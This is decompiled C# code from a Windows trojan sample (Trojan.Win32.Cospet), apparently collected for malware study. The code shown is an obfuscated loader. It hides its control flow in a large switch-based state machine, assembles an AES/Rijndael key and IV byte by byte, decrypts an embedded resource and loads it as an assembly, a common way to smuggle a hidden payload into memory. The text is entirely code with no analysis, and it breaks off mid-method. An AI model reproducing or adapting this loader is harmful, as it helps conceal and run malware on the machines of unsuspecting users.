// Decompiled with JetBrains decompiler // Type: dIB5tm1fm4ourlbe9N.YbbxknoBYLxEOxk0Pn // Assembly: Service, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 7876418B-9B45-4205-B20B-41AA64972C85 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Cospet.iat-d5a913ab25c2ac01f6ad36151285d226598951b3a4f0b2d52c03e99ff09f0807.exe using lIMo5cXu7QVSJ7hdyJ; using System; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using TmwCXiWu118CwLLcBx; namespace dIB5tm1fm4ourlbe9N { internal class YbbxknoBYLxEOxk0Pn { private static string[] reWBsatke = new string[0]; private static Assembly \u0039ML9lo6tT = (Assembly) null; private static bool fTu8VEKSg = false; [MethodImpl(MethodImplOptions.NoInlining)] static Assembly Uj1VGPQhn([In] object obj0, [In] ResolveEventArgs obj1) { int num1 = 121; if (true) goto label_22; label_1: byte[] numArray1; numArray1[3] = (byte) (135 - 45); int num2 = 246; goto label_23; label_22: num2 = num1; label_23: int num3; byte[] numArray2; int num4; string str; CryptoStream cryptoStream; MemoryStream memoryStream; ICryptoTransform transform; byte[] numArray3; RijndaelManaged rijndaelManaged; byte[] numArray4; while (true) { switch (num2) { case 0: numArray2 = new byte[16]; num2 = 232; continue; case 1: goto label_258; case 2: numArray1[15] = (byte) num3; num2 = 97; continue; case 3: goto label_171; case 4: goto label_44; case 5: goto label_169; case 6: goto label_235; case 7: numArray1[15] = (byte) num3; num2 = 146; continue; case 8: numArray1[5] = (byte) (164 - 54); num2 = 43; continue; case 9: goto label_94; case 10: goto label_113; case 11: goto label_100; case 12: num4 = 210 - 70; num2 = 236; continue; case 13: numArray1[28] = (byte) num3; num1 = 51; if (true) goto label_22; else goto case 344; case 14: goto label_47; case 15: num4 = 189 + 63; num2 = 198; continue; case 16: numArray1[2] = (byte) (73 + 112); num2 = 305; continue; case 17: goto label_277; case 18: goto label_266; case 19: goto label_56; case 20: goto label_336; case 21: num3 = 78 + 63; num2 = 13; continue; case 22: goto label_99; case 23: numArray2[7] = (byte) num4; num2 = 261; continue; case 24: goto label_143; case 25: numArray1[11] = (byte) (186 - 62); num2 = 171; continue; case 26: goto label_27; case 27: goto label_115; case 28: goto label_89; case 29: numArray1[23] = (byte) (198 - 66); num2 = 125; continue; case 30: goto label_297; case 31: numArray1[8] = (byte) num3; num1 = 324; if (true) goto label_22; else goto case 151; case 32: goto label_268; case 33: num3 = 245 - 81; num2 = 233; continue; case 34: numArray1[22] = (byte) (39 + 65); num2 = 155; continue; case 35: goto label_284; case 36: numArray2[11] = (byte) num4; num2 = 317; continue; case 37: num4 = 159 - 53; num1 = 182; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto case 237; else goto label_22; case 38: numArray1[14] = (byte) (155 - 51); num2 = 27; continue; case 39: goto label_220; case 40: goto label_111; case 41: goto label_347; case 42: goto label_14; case 43: numArray1[5] = (byte) (142 + 35); num2 = 64; continue; case 44: num3 = 175 - 58; num2 = 189; continue; case 45: numArray1[31] = (byte) num3; num2 = 48; continue; case 46: numArray1[4] = (byte) num3; num2 = 91; continue; case 47: numArray2[13] = (byte) num4; num1 = 312; if (true) goto label_22; else goto case 178; case 48: numArray1[31] = (byte) (30 + 58); num2 = 192; continue; case 49: transform = (ICryptoTransform) YbbxknoBYLxEOxk0Pn.LKX4l47Yoj2lWp0hqh((object) rijndaelManaged, (object) numArray4, (object) numArray3); num2 = 133; continue; case 50: numArray1[22] = (byte) (90 + 26); num2 = 346; continue; case 51: goto label_340; case 52: goto label_348; case 53: numArray2[6] = (byte) num4; num1 = 165; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; else goto case 69; case 54: goto label_52; case 55: str = (string) YbbxknoBYLxEOxk0Pn.WS6tAn0RW8Hurp1Xwj((object) obj1); num1 = 60; if (true) goto label_22; else goto case 130; case 56: num3 = 157 + 60; num2 = 28; continue; case 57: num3 = 24 + 38; num2 = 178; continue; case 58: goto label_185; case 59: numArray2[13] = (byte) (184 - 61); num1 = 83; if (true) goto label_22; else goto case 53; case 60: goto label_11; case 61: goto label_225; case 62: goto label_133; case 63: numArray2[15] = (byte) (252 - 84); num2 = 1; continue; case 64: numArray1[6] = (byte) (204 - 68); num2 = (int) byte.MaxValue; continue; case 65: goto label_2; case 66: numArray1[27] = (byte) (48 + 79); num1 = 210; if (true) goto label_22; else goto case 194; case 67: case 115: goto label_34; case 68: goto label_58; case 69: numArray1[6] = (byte) (136 - 45); num2 = 256; continue; case 70: cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); num1 = 309; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; else goto case 118; case 71: num3 = 199 - 66; num1 = 31; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; else goto case 102; case 72: numArray1[26] = (byte) num3; num2 = 148; continue; case 73: goto label_123; case 74: numArray1[26] = (byte) num3; num1 = 339; if (true) goto label_22; else goto case 2; case 75: numArray1[0] = (byte) (137 - 66); num1 = 269; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto case 82; else goto label_22; case 76: numArray1[28] = (byte) num3; num1 = 58; if (true) goto label_22; else goto case 57; case 77: goto label_192; case 78: goto label_83; case 79: num4 = 162 - 54; num1 = 53; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; else goto case 280; case 80: case 273: numArray2[7] = (byte) (67 + 112); num1 = 288; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; else goto case 25; case 81: goto label_259; case 82: numArray2[2] = (byte) num4; num2 = 12; continue; case 83: goto label_90; case 84: goto label_236; case 85: goto label_132; case 86: goto label_31; case 87: goto label_121; case 88: num3 = 55 - 19; num2 = 276; continue; case 89: goto label_289; case 90: goto label_174; case 91: goto label_15; case 92: goto label_72; case 93: goto label_166; case 94: num3 = 206 - 68; num2 = 4; continue; case 95: goto label_96; case 96: num4 = 14 + 96; num1 = 204; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto case 344; else goto label_22; case 97: numArray1[15] = (byte) (41 + 59); num2 = 243; continue; case 98: goto label_39; case 99: goto label_208; case 100: goto label_324; case 101: numArray2[6] = (byte) num4; num2 = 262; continue; case 102: numArray1[29] = (byte) num3; num2 = 257; continue; case 103: goto label_164; case 104: goto label_263; case 105: goto label_28; case 106: goto label_198; case 107: goto label_346; case 108: goto label_351; case 109: goto label_175; case 110: goto label_343; case 111: goto label_273; case 112: goto label_101; case 113: goto label_338; case 114: goto label_295; case 116: goto label_75; case 117: goto label_269; case 118: numArray1[3] = (byte) (97 - 81); num2 = 93; continue; case 119: goto label_344; case 120: numArray1[1] = (byte) num3; num2 = 318; continue; case 121: if ((object) YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT != null) goto case 55; else goto label_342; case 122: numArray1[30] = (byte) (153 - 51); num1 = 343; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; else goto case (int) sbyte.MaxValue; case 123: goto label_1; case 124: goto label_302; case 125: goto label_98; case 126: numArray2[11] = (byte) (55 + 42); num1 = 201; if (true) goto label_22; else goto case 165; case (int) sbyte.MaxValue: num4 = 193 - 64; num1 = 290; if (true) goto label_22; else goto case 249; case 128: case 207: goto label_207; case 129: goto label_195; case 130: numArray1[21] = (byte) num3; num2 = 264; continue; case 131: numArray1[18] = (byte) num3; num2 = 332; continue; case 132: numArray1[11] = (byte) num3; num1 = 229; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; else goto case 286; case 133: memoryStream = new MemoryStream(); num1 = 70; if (true) goto label_22; else goto case 29; case 134: num4 = 91 + 43; num1 = 304; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; else goto case 97; case 135: goto label_260; case 136: goto label_125; case 137: num3 = 165 - 55; num2 = 195; continue; case 138: goto label_352; case 139: num4 = 106 - 16; num2 = 5; continue; case 140: goto label_251; case 141: goto label_294; case 142: goto label_17; case 143: goto label_59; case 144: goto label_97; case 145: goto label_37; case 146: goto label_141; case 147: goto label_240; case 148: numArray1[26] = (byte) (10 + 58); num2 = 144; continue; case 149: goto label_323; case 150: numArray1[24] = (byte) num3; num1 = 44; if (true) goto label_22; else goto case 12; case 151: num4 = 155 - 51; num2 = 281; continue; case 152: goto label_122; case 153: goto label_5; case 154: goto label_257; case 155: goto label_161; case 156: goto label_357; case 157: goto label_271; case 158: goto label_7; case 159: goto label_180; case 160: goto label_156; case 161: goto label_206; case 162: goto label_354; case 163: numArray3 = numArray2; num2 = 156; continue; case 164: goto label_106; case 165: num4 = 174 - 58; num2 = 101; continue; case 166: goto label_243; case 167: goto label_172; case 168: goto label_129; case 169: goto label_149; case 170: goto label_112; case 171: num3 = 129 - 43; num1 = 132; if (true) goto label_22; else goto case 334; case 172: numArray1[5] = (byte) (203 - 67); num1 = 138; if (true) goto label_22; else goto case 74; case 173: goto label_306; case 174: goto label_199; case 175: goto label_272; case 176: goto label_92; case 177: goto label_329; case 178: numArray1[29] = (byte) num3; num1 = 302; if (true) goto label_22; else goto case 297; case 179: goto label_173; case 180: num4 = 118 + 61; num2 = 52; continue; case 181: goto label_276; case 182: goto label_131; case 183: goto label_262; case 184: goto label_245; case 185: goto label_65; case 186: goto label_138; case 187: goto label_85; case 188: numArray1[2] = (byte) (54 + 85); num2 = 19; continue; case 189: goto label_66; case 190: numArray2[9] = (byte) num4; num2 = 184; continue; case 191: numArray1[12] = (byte) (18 + 112); num1 = 187; if (true) goto label_22; else goto case 328; case 192: goto label_3; case 193: goto label_63; case 194: num3 = 128 - 42; num2 = 112; continue; case 195: numArray1[16] = (byte) num3; num2 = 325; continue; case 196: goto label_286; case 197: goto label_211; case 198: goto label_78; case 199: num4 = 244 - 81; num1 = 114; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; else goto case 242; case 200: goto label_305; case 201: goto label_139; case 202: goto label_10; case 203: goto label_183; case 204: goto label_322; case 205: num4 = 80 + 38; num2 = 153; continue; case 206: goto label_128; case 208: numArray2[15] = (byte) (165 - 55); num2 = 63; continue; case 209: goto label_16; case 210: numArray1[27] = (byte) (97 + 80); num2 = 212; continue; case 211: YbbxknoBYLxEOxk0Pn.UAiUy9DbJPvrtDfaYG((object) cryptoStream); num1 = 40; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto case 343; else goto label_22; case 212: goto label_114; case 213: goto label_231; case 214: goto label_109; case 215: numArray1 = new byte[32]; num2 = 11; continue; case 216: goto label_221; case 217: goto label_237; case 218: goto label_224; case 219: goto label_87; case 220: numArray1[22] = (byte) (65 + 62); num2 = 34; continue; case 221: goto label_12; case 222: goto label_86; case 223: goto label_353; case 224: goto label_222; case 225: goto label_227; case 226: num4 = 72 - 28; num2 = 335; continue; case 227: goto label_275; case 228: goto label_304; case 229: goto label_71; case 230: goto label_292; case 231: goto label_147; case 232: goto label_95; case 233: goto label_142; case 234: num3 = 154 - 51; num2 = 39; continue; case 235: numArray1[24] = (byte) (104 - 44); num2 = 186; continue; case 236: goto label_26; case 237: numArray1[25] = (byte) (197 + 26); goto case 341; case 238: goto label_117; case 239: numArray2[12] = (byte) (115 + 19); num1 = 289; if (true) goto label_22; else goto case 341; case 240: goto label_197; case 241: goto label_265; case 242: num4 = 162 - 110; num2 = 296; continue; case 243: goto label_337; case 244: goto label_303; case 245: goto label_30; case 246: goto label_130; case 247: goto label_29; case 248: goto label_196; case 249: numArray1[20] = (byte) (7 + 2); num2 = 164; continue; case 250: goto label_84; case 251: goto label_241; case 252: goto label_320; case 253: numArray1[7] = (byte) (213 + 16); num2 = 71; continue; case 254: numArray1[19] = (byte) (3 + 78); YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6(); if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) { num2 = 207; continue; } goto label_191; case (int) byte.MaxValue: goto label_36; case 256: goto label_13; case 257: goto label_163; case 258: goto label_50; case 259: goto label_301; case 260: goto label_57; case 261: numArray2[7] = (byte) (71 + 43); goto case 80; case 262: goto label_244; case 263: goto label_249; case 264: num3 = 97 + 102; num2 = 129; continue; case 265: goto label_9; case 266: goto label_315; case 267: num3 = 5 + 83; num1 = 130; if (true) goto label_22; else goto case 33; case 268: goto label_333; case 269: numArray1[1] = (byte) (27 + 85); num1 = 214; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; else goto case 302; case 270: numArray2[1] = (byte) num4; num2 = 298; continue; case 271: goto label_288; case 272: numArray2[14] = (byte) num4; num2 = 61; continue; case 274: goto label_267; case 275: goto label_70; case 276: goto label_270; case 277: goto label_124; case 278: goto label_291; case 279: numArray1[5] = (byte) num3; num2 = 172; continue; case 280: numArray2[7] = (byte) (62 - 37); num2 = 179; continue; case 281: goto label_226; case 282: goto label_204; case 283: goto label_255; case 284: goto label_62; case 285: goto label_176; case 286: numArray1[30] = (byte) num3; num2 = 122; continue; case 287: numArray1[23] = (byte) num3; num2 = 29; continue; case 288: goto label_349; case 289: goto label_184; case 290: goto label_127; case 291: goto label_165; case 292: goto label_283; case 293: numArray2[5] = (byte) (179 - 59); num2 = 109; continue; case 294: num4 = 69 + 71; num2 = 157; continue; case 295: numArray1[4] = (byte) num3; num2 = 301; continue; case 296: numArray2[15] = (byte) num4; num2 = 163; continue; case 297: numArray2[0] = (byte) (207 - 69); num2 = 321; continue; case 298: goto label_77; case 299: goto label_61; case 300: goto label_254; case 301: num3 = 181 + 58; num2 = 3; continue; case 302: numArray1[29] = (byte) (178 - 111); num1 = 78; if (true) goto label_22; else goto case 44; case 303: goto label_6; case 304: goto label_32; case 305: goto label_74; case 306: goto label_110; case 307: goto label_308; case 308: numArray1[19] = (byte) (214 - 118); num2 = 98; continue; case 309: goto label_250; case 310: goto label_311; case 311: goto label_144; case 312: goto label_335; case 313: goto label_46; case 314: goto label_230; case 315: goto label_200; case 316: goto label_170; case 317: num4 = 176 + 18; num2 = 100; continue; case 318: goto label_345; case 319: goto label_88; case 320: goto label_219; case 321: goto label_53; case 322: numArray1[20] = (byte) (49 + 114); num1 = 99; if (true) goto label_22; else goto case 122; case 323: numArray1[5] = (byte) num3; num2 = 8; continue; case 324: goto label_325; case 325: num3 = 252 - 84; num2 = 87; continue; case 326: goto label_102; case 327: goto label_167; case 328: num4 = 84 + 101; num2 = 42; continue; case 329: goto label_350; case 330: goto label_203; case 331: numArray1[1] = (byte) (41 + 3); num2 = 26; continue; case 332: goto label_328; case 333: goto label_148; case 334: num3 = 229 - 76; num2 = 336; continue; case 335: goto label_278; case 336: goto label_140; case 337: goto label_261; case 338: numArray1[19] = (byte) (194 - 64); num2 = 308; continue; case 339: goto label_107; case 340: num4 = 41 + 61; num2 = 227; continue; case 341: num3 = 246 - 82; num2 = 74; continue; case 342: numArray1[16] = (byte) num3; num1 = 209; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; else goto case 317; case 343: numArray1[30] = (byte) (113 - 59); num2 = 310; continue; case 344: num3 = 168 + 83; num2 = 76; continue; case 345: goto label_242; case 346: num3 = 147 + 92; num2 = 251; continue; case 347: goto label_137; case 348: goto label_355; default: goto label_24; } } label_2: numArray1[21] = (byte) num3; num1 = 105; if (true) goto label_22; label_3: num3 = 211 - 70; int num5 = 160; goto label_21; label_5: numArray2[5] = (byte) num4; num1 = 124; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; label_6: num3 = 244 - 81; num5 = 131; goto label_21; label_7: numArray1[12] = (byte) (72 + 28); num5 = 191; goto label_21; label_9: numArray1[24] = (byte) num3; num1 = 235; if (true) goto label_22; label_10: numArray2[6] = (byte) num4; num1 = 79; goto label_22; label_11: int index = 0; num5 = 115; goto label_21; label_12: numArray2[10] = (byte) (59 + 83); num1 = 110; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_305; else goto label_22; label_13: numArray1[6] = (byte) (199 - 116); num5 = 196; goto label_21; label_14: numArray2[1] = (byte) num4; num1 = 149; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; label_15: numArray1[4] = (byte) (88 + 13); num1 = 108; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_137; else goto label_22; label_16: num3 = 198 - 96; num1 = 329; goto label_22; label_17: num3 = 16 + 74; num5 = 274; label_21: num1 = num5; goto label_22; label_24: num5 = 341; goto label_21; label_26: numArray2[2] = (byte) num4; num1 = 181; goto label_22; label_27: num3 = 146 - 48; num5 = 120; goto label_21; label_28: num3 = 214 - 71; num1 = 174; goto label_22; label_29: num3 = 245 - 81; num1 = 345; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; label_30: numArray2[0] = (byte) num4; num5 = 297; goto label_21; label_31: numArray1[23] = (byte) (97 + 116); num1 = 271; goto label_22; label_32: numArray2[14] = (byte) num4; num1 = 217; goto label_22; label_34: if (index >= YbbxknoBYLxEOxk0Pn.reWBsatke.Length) { num5 = 348; goto label_21; } else if (YbbxknoBYLxEOxk0Pn.tRIQC2fXT7g74mWlkL((object) YbbxknoBYLxEOxk0Pn.reWBsatke[index], (object) str)) { num5 = 327; goto label_21; } else { ++index; num1 = 67; if (true) goto label_22; else goto label_169; } label_36: num3 = 52 + 91; num1 = 306; goto label_22; label_37: numArray1[9] = (byte) num3; num1 = 277; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_174; else goto label_22; label_39: numArray1[20] = (byte) (232 - 77); num1 = 94; goto label_22; label_44: numArray1[20] = (byte) num3; num5 = 162; goto label_21; label_46: num3 = 239 - 79; num1 = 32; if (true) goto label_22; label_47: num3 = 142 - 47; num1 = 279; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_329; else goto label_22; label_50: byte[] numArray5 = new byte[0]; num1 = 320; goto label_22; label_52: num4 = 10 + 116; num1 = 202; goto label_22; label_53: num4 = 22 + 39; num5 = 10; goto label_21; label_56: numArray1[2] = (byte) (82 + 32); num1 = 16; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; label_57: numArray2[3] = (byte) num4; num5 = 285; goto label_21; label_58: num3 = 204 - 68; num5 = 265; goto label_21; label_59: num3 = 184 - 61; num1 = 161; goto label_22; label_61: YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT = (Assembly) YbbxknoBYLxEOxk0Pn.ms7UFSxhLDM3n3ktTf(YbbxknoBYLxEOxk0Pn.qiaGIPMaalUqZ3sMZf((object) numArray5)); num1 = 9; if (true) goto label_22; label_62: numArray1[12] = (byte) (31 + 55); num1 = 158; if (true) goto label_22; label_63: numArray2[10] = (byte) num4; num1 = 136; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_235; else goto label_22; label_65: num3 = 170 - 56; num5 = 2; goto label_21; label_66: numArray1[24] = (byte) num3; num1 = 168; goto label_22; label_70: num3 = 173 - 57; num5 = 65; goto label_21; label_71: numArray1[11] = (byte) (97 - 52); num5 = 284; goto label_21; label_72: numArray1[17] = (byte) (26 + 5); num5 = 278; goto label_21; label_74: num3 = 61 + 58; num5 = 173; goto label_21; label_75: num3 = 92 + 120; num5 = 170; goto label_21; label_77: numArray2[1] = (byte) (146 - 48); num5 = 294; goto label_21; label_78: numArray2[0] = (byte) num4; num1 = 307; goto label_22; label_83: num3 = 61 + 66; num5 = 286; goto label_21; label_84: num4 = 78 + 65; num5 = 326; goto label_21; label_85: numArray1[12] = (byte) (36 + 114); num1 = 197; if (true) goto label_22; label_86: numArray1[13] = (byte) num3; num1 = 88; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_354; else goto label_22; label_87: numArray1[19] = (byte) num3; num5 = 338; goto label_21; label_88: numArray1[19] = (byte) num3; num5 = 89; goto label_21; label_89: numArray1[8] = (byte) num3; num5 = 259; goto label_21; label_90: numArray2[13] = (byte) (58 + 29); num1 = 95; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_63; else goto label_22; label_92: numArray1[9] = (byte) (131 - 80); num5 = 313; goto label_21; label_94: YbbxknoBYLxEOxk0Pn.reWBsatke = (string[]) YbbxknoBYLxEOxk0Pn.e8PiFxteCyHSGi0LgY((object) YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT); num5 = 55; goto label_21; label_95: num4 = 128 - 42; num5 = 245; goto label_21; label_96: num4 = 54 + 75; num1 = 47; if (true) goto label_22; label_97: numArray1[26] = (byte) (250 - 83); num5 = 263; goto label_21; label_98: numArray1[23] = (byte) (165 + 75); num1 = 141; if (true) goto label_22; label_99: numArray1[15] = (byte) (114 + 113); num1 = 185; goto label_22; label_100: num3 = 2 + 70; num1 = 77; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; label_101: numArray1[16] = (byte) num3; num1 = 137; if (true) goto label_22; label_102: numArray2[4] = (byte) num4; num1 = (int) sbyte.MaxValue; goto label_22; label_106: numArray1[20] = (byte) (121 + 95); num5 = 322; goto label_21; label_107: num3 = 5 + 120; num5 = 72; goto label_21; label_109: num3 = 29 + 23; num5 = 252; goto label_21; label_110: numArray1[6] = (byte) num3; num1 = 300; if (true) goto label_22; label_111: BinaryReader binaryReader; YbbxknoBYLxEOxk0Pn.EdMogJK23C5V2STpQS((object) binaryReader); num1 = 299; goto label_22; label_112: numArray1[10] = (byte) num3; num1 = 111; if (true) goto label_22; label_113: numArray2[0] = (byte) num4; num1 = 15; goto label_22; label_114: numArray1[27] = (byte) (34 - 11); num1 = 21; goto label_22; label_115: numArray1[14] = (byte) (54 + 75); num5 = 135; goto label_21; label_117: numArray1[9] = (byte) num3; num1 = 104; goto label_22; label_121: numArray1[16] = (byte) num3; num5 = 175; goto label_21; label_122: numArray1[17] = (byte) (240 - 80); num1 = 92; if (true) goto label_22; label_123: numArray2[15] = (byte) num4; num5 = 208; goto label_21; label_124: num3 = 247 - 82; num5 = 238; goto label_21; label_125: numArray2[10] = (byte) (110 + 122); num5 = 126; goto label_21; label_127: numArray2[4] = (byte) num4; num1 = 81; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; label_128: num4 = 10 + 30; num5 = 260; goto label_21; label_129: numArray1[24] = (byte) (58 + 64); num5 = 68; goto label_21; label_130: numArray1[3] = (byte) (6 + 25); num1 = 142; if (true) goto label_22; label_131: numArray2[4] = (byte) num4; num5 = 250; goto label_21; label_132: numArray1[10] = (byte) num3; num5 = 183; goto label_21; label_133: numArray2[10] = (byte) (97 + 92); num5 = 221; goto label_21; label_137: numArray2[15] = (byte) num4; num1 = 96; goto label_22; label_138: num3 = 23 + 68; num5 = 159; goto label_21; label_139: num4 = 154 - 51; num1 = 36; goto label_22; label_140: numArray1[7] = (byte) num3; num5 = 253; goto label_21; label_141: num3 = 147 - 49; num1 = 166; goto label_22; label_142: numArray1[8] = (byte) num3; num5 = 56; goto label_21; label_143: num4 = 108 + 114; num5 = 216; goto label_21; label_144: num4 = 240 - 80; num5 = 316; goto label_21; label_147: numArray1[29] = (byte) (170 - 56); num1 = 57; goto label_22; label_148: numArray1[25] = (byte) (144 - 48); num1 = 237; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_260; else goto label_22; label_149: num4 = 74 + 5; num1 = 190; goto label_22; label_156: numArray1[31] = (byte) num3; num1 = 234; goto label_22; label_161: numArray1[22] = (byte) (111 + 112); num1 = 50; goto label_22; label_163: num3 = 207 - 69; num5 = 314; goto label_21; label_164: num3 = 98 + 60; num1 = 102; goto label_22; label_165: numArray2[12] = (byte) num4; num1 = 59; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_121; else goto label_22; label_166: num3 = 179 - 59; num1 = 46; if (true) goto label_22; label_167: return YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT; label_169: numArray2[3] = (byte) num4; num1 = 200; if (true) goto label_22; label_170: numArray2[8] = (byte) num4; num1 = 41; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_271; else goto label_22; label_171: numArray1[4] = (byte) num3; num5 = 14; goto label_21; label_172: num4 = 117 + 2; num1 = 73; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; label_173: num4 = 43 + 117; num1 = 283; if (true) goto label_22; label_174: YbbxknoBYLxEOxk0Pn.UAiUy9DbJPvrtDfaYG((object) memoryStream); num5 = 211; goto label_21; label_175: numArray2[5] = (byte) (215 - 71); num1 = 226; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_124; else goto label_22; label_176: numArray2[3] = (byte) (151 - 50); num5 = 139; goto label_21; label_180: numArray1[25] = (byte) num3; num1 = 333; goto label_22; label_183: numArray2[2] = (byte) (248 - 82); num1 = 24; goto label_22; label_184: num4 = 83 + 71; num1 = 291; if (true) goto label_22; label_185: numArray1[29] = (byte) (59 + 70); num5 = 103; goto label_21; label_191: num5 = 80; goto label_21; label_192: numArray1[0] = (byte) num3; num1 = 247; goto label_22; label_195: numArray1[21] = (byte) num3; num1 = 220; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_174; else goto label_22; label_196: numArray2[9] = (byte) (92 + 120); num1 = 169; goto label_22; label_197: numArray2[12] = (byte) (33 + 73); num5 = 239; goto label_21; label_198: YbbxknoBYLxEOxk0Pn.wgwDwA8ohM5msjfHGT((object) cryptoStream); num1 = 18; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_138; else goto label_22; label_199: numArray1[21] = (byte) num3; num5 = 267; goto label_21; label_200: num3 = 73 + 52; num1 = 222; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_165; else goto label_22; label_203: numArray1[10] = (byte) (137 - 92); num5 = 25; goto label_21; label_204: num3 = 230 - 76; num5 = 45; goto label_21; label_206: numArray1[18] = (byte) num3; num5 = 303; goto label_21; label_207: num3 = 79 + 10; num1 = 319; goto label_22; label_208: numArray1[21] = (byte) (79 + 71); num5 = 275; goto label_21; label_211: numArray1[13] = (byte) (248 - 82); num1 = 140; goto label_22; label_219: byte[] numArray6 = (byte[]) YbbxknoBYLxEOxk0Pn.\u0031q1Ytpay3HDTvk0H9h((object) binaryReader, (int) YbbxknoBYLxEOxk0Pn.ixBAQJTGfCYrqbKeEu(YbbxknoBYLxEOxk0Pn.\u0034HtC5nv8XcO9RgF2J4((object) binaryReader))); num5 = 215; goto label_21; label_220: numArray1[31] = (byte) num3; num1 = 117; if (true) goto label_22; label_221: numArray2[2] = (byte) num4; num5 = 206; goto label_21; label_222: numArray1[31] = (byte) num3; num5 = 282; goto label_21; label_224: numArray2[14] = (byte) (96 - 59); num1 = 167; if (true) goto label_22; label_225: numArray2[14] = (byte) (244 - 81); num5 = 134; goto label_21; label_226: numArray2[1] = (byte) num4; num1 = 328; goto label_22; label_227: num4 = 214 - 71; num5 = 82; goto label_21; label_230: numArray1[29] = (byte) num3; num1 = 231; if (true) goto label_22; label_231: numArray1[14] = (byte) (134 - 44); num1 = 38; goto label_22; label_235: num4 = 147 - 49; num5 = 272; goto label_21; label_236: YbbxknoBYLxEOxk0Pn.d5bSH3LxyKFU3Kg4tt((object) rijndaelManaged, CipherMode.CBC); num5 = 49; goto label_21; label_237: numArray2[14] = (byte) (168 - 56); num1 = 218; goto label_22; label_240: numArray1[0] = (byte) (165 - 55); num1 = 75; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_141; else goto label_22; label_241: numArray1[22] = (byte) num3; num1 = 86; goto label_22; label_242: numArray1[0] = (byte) num3; num5 = 147; goto label_21; label_243: numArray1[15] = (byte) num3; num5 = 22; goto label_21; label_244: numArray2[6] = (byte) (33 + 105); num1 = 154; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_122; else goto label_22; label_245: numArray2[9] = (byte) (88 + 62); num5 = 62; goto label_21; label_249: numArray1[26] = (byte) (202 - 124); num5 = 66; goto label_21; label_250: YbbxknoBYLxEOxk0Pn.t9BlppiIr5xtEoYSCx((object) cryptoStream, (object) numArray6, 0, numArray6.Length); num1 = 106; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_203; else goto label_22; label_251: numArray1[13] = (byte) (167 - 55); num1 = 315; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_3; else goto label_22; label_254: numArray1[6] = (byte) (63 + 28); num1 = 69; goto label_22; label_255: numArray2[8] = (byte) num4; num1 = 119; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_133; else goto label_22; label_257: num4 = 100 + 16; num1 = 23; if (true) goto label_22; label_258: num4 = 217 - 72; num1 = 347; if (true) goto label_22; label_259: 